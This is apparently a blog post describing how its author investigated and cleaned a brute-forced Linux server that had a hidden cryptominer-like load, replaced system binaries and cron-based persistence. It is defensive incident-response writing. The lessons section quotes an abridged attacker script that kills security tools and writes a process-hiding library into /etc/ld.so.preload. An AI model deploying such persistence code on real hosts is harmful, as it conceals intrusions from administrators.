Server Intrusion Investigation and Remediation Steps on a Linux Host

In the following text, "locking files and directories" refers to adding immutable attributes such as read‑only using chattr +ia .

1. Server Intrusion Symptoms

A friend's website server showed sustained 100% CPU usage, high load, and services became unavailable, indicating a possible intrusion.

The friend could not resolve the issue, so I began investigating despite not being a security specialist.

2. Investigation and Handling

2.1 Possible Causes of Intrusion

Simple SSH password.

Overly permissive Tencent Cloud security group.

Simple password for the Baota panel.

2.2 Investigation Steps

1. Use ps -ef / top to find the process consuming most resources.

Problem: ps/top commands had been replaced.

2. Search logs for intrusion traces: grep 'Accepted' /var/log/secure .

# grep 'Accepted'  /var/log/secure
Aug 26 21:51:37 VM-12-12-centos sshd[19822]: Accepted password for root from 34.215.138.2 port 36720 ssh2
... (additional log lines) ...

We observed successful logins from foreign IPs such as 34.215.138.2, indicating brute‑force success.

Immediate Measures

Restrict SSH login IPs in the cloud security group.

Change the root SSH password.

Backup and clear /root/.ssh/authorized_keys .

# cp -rp /root/.ssh/authorized_keys /root/.ssh/authorized_keys.bak
cp: cannot create regular file ‘/root/.ssh/authorized_keys.bak’: Permission denied

3. Check newly added users via cat /etc/passwd and lock suspicious accounts.

# usermod -L sys1

4. Examine cron jobs and scheduled tasks; many paths were checked but files appeared empty, yet logs showed recurring executions.

Aug 27 22:00:01 VM-12-12-centos CROND[16839]: (root) CMD (/sbin/httpss >/dev/null 2>&1;...)
... (additional cron entries) ...

We deleted suspicious binaries ( /usr/lib/mysql/mysql , /sbin/httpss ) after unlocking the directories with chattr -ai .

/tmp/chattr -ai /usr/bin/chattr
/tmp/chattr -ai /usr/bin/

5. Restored original top , ps , and lsattr binaries by copying them from a clean machine and adjusting permissions.

3. Lessons Learned

1. Commands like ps , top , chattr , and lsattr can be replaced and locked; keep clean copies on another host for recovery.

2. Files may be hidden using special characters; even cat may not display their content.

3. A persistent malicious script repeatedly rewrote /etc/ld.so.preload to load a backdoor library and killed security tools.

# cat /.Recycle_bin/_bt_etc_bt_.sftp_bt_.sh_t_1661768469.9859464
#!/bin/sh
while test 1 = 1
do
  sleep 30
  pkill -f main
  ... (many kill commands) ...
  echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload
  lockr +ai /etc/ld.so.preload >/dev/null 2>&1
  ...
done

After terminating the script's process and deleting the script, the backdoor stopped.

4. Post‑Invasion Recommendations

Use minimal security‑group rules; only allow necessary IPs for SSH.

Enforce strong passwords for all services.

Monitor critical files (e.g., /etc/passwd , /etc/shadow , /etc/ld.so.preload ) via checksum or integrity tools.

If files become immutable, use chattr -ia after restoring a clean copy.

Inspect network connections with netstat , review startup scripts, cron jobs, and running processes.

These steps summarize the intrusion handling process and the security insights gained.

Original source: cnblogs.com/operationhome/p/16637763.html – Author: 自由早晚乱余生